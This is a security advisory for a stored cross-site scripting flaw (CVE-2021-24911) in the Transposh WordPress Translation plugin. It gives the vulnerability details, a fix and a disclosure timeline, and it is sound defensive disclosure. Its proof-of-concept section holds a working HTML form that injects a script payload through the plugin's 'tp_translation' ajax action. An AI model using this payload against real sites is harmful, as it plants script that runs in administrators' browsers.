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Transposh WordPress Translation 1.0.7 Cross Site Scripting

Transposh WordPress Translation 1.0.7 Cross Site Scripting
Posted Jul 29, 2022
Authored by Julien Ahrens | Site rcesecurity.com

Transposh WordPress Translation versions 1.0.7 and below have an ajax action "tp_translation" which is available to authenticated or unauthenticated users (see CVE-2022-2461) that allows them to submit new translations. Translations submitted this way are shown on the Transposh administrative interface on the pages "tp_main" and "tp_editor". However, since the plugin does not properly validate and sanitize the submitted translation, arbitrary Javascript code can be permanently injected and executed directly within the backend across all users visiting the page with the roles of at least "Subscriber" and up to "Administrator".

tags | exploit, arbitrary, javascript, xss
advisories | CVE-2021-24911
SHA-256 | 484332c9e36ec88f8a190cc80119a1f22da60e0f49e9a327a7f7268bba597fb7

Transposh WordPress Translation 1.0.7 Cross Site Scripting

Change Mirror Download
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Cross-Site Scripting [CWE-79]
Date found: 2021-08-19
Date published: 2022-07-22
CVSSv3 Score: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
CVE: CVE-2021-24911


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.7 and below


4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The plugin's ajax action "tp_translation" which is available to authenticated or
unauthenticated users (see CVE-2022-2461) allows to submit new translations.

Translations submitted this way are shown on the Transposh administrative
interface on the pages "tp_main" and "tp_editor". However, since the plugin does
not properly validate and sanitize the submitted translation, arbitrary Javascript
code can be permanently injected and executed directly within the backend across
all users visiting the page with the roles of at least "Subscriber" and up to
"Administrator".

This offers a wide range of possible attacks, such as redirecting the user to a
malicious page, spoofing content on the page, or attacking the browser and its
plugins.


6. PROOF OF CONCEPT
===================
The following PoC adds a new translation:

<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tp_translation" />
<input type="hidden" name="ln0" value="en" />
<input type="hidden" name="sr0" value="0" />
<input type="hidden" name="items" value="1" />
<input type="hidden" name="tk0" value="xss<script>alert(1337)</script>" />
<input type="hidden" name="tr0" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


7. SOLUTION
===========
Update the plugin to version 1.0.8.1


8. REPORT TIMELINE
==================
2021-08-19: Discovery of the vulnerability
2021-08-20: Contacted the vendor via their contact form
2021-08-20: Vendor response
2021-08-20: Sent all the PoC exploits
2021-08-20: Vendor acknowledges the issues
2021-09-14: Requested status update from vendor
2021-10-07: No response from vendor, requested status update again
2021-10-25: CVE requested from WPScan (CNA)
2021-10-27: WPScan assigns CVE-2021-24911
2022-02-22: Vendor releases 1.0.8, which fixes this vulnerability
2022-07-22: Public disclosure


9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
https://transposh.org/version-1-0-8-thanks-julien/
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
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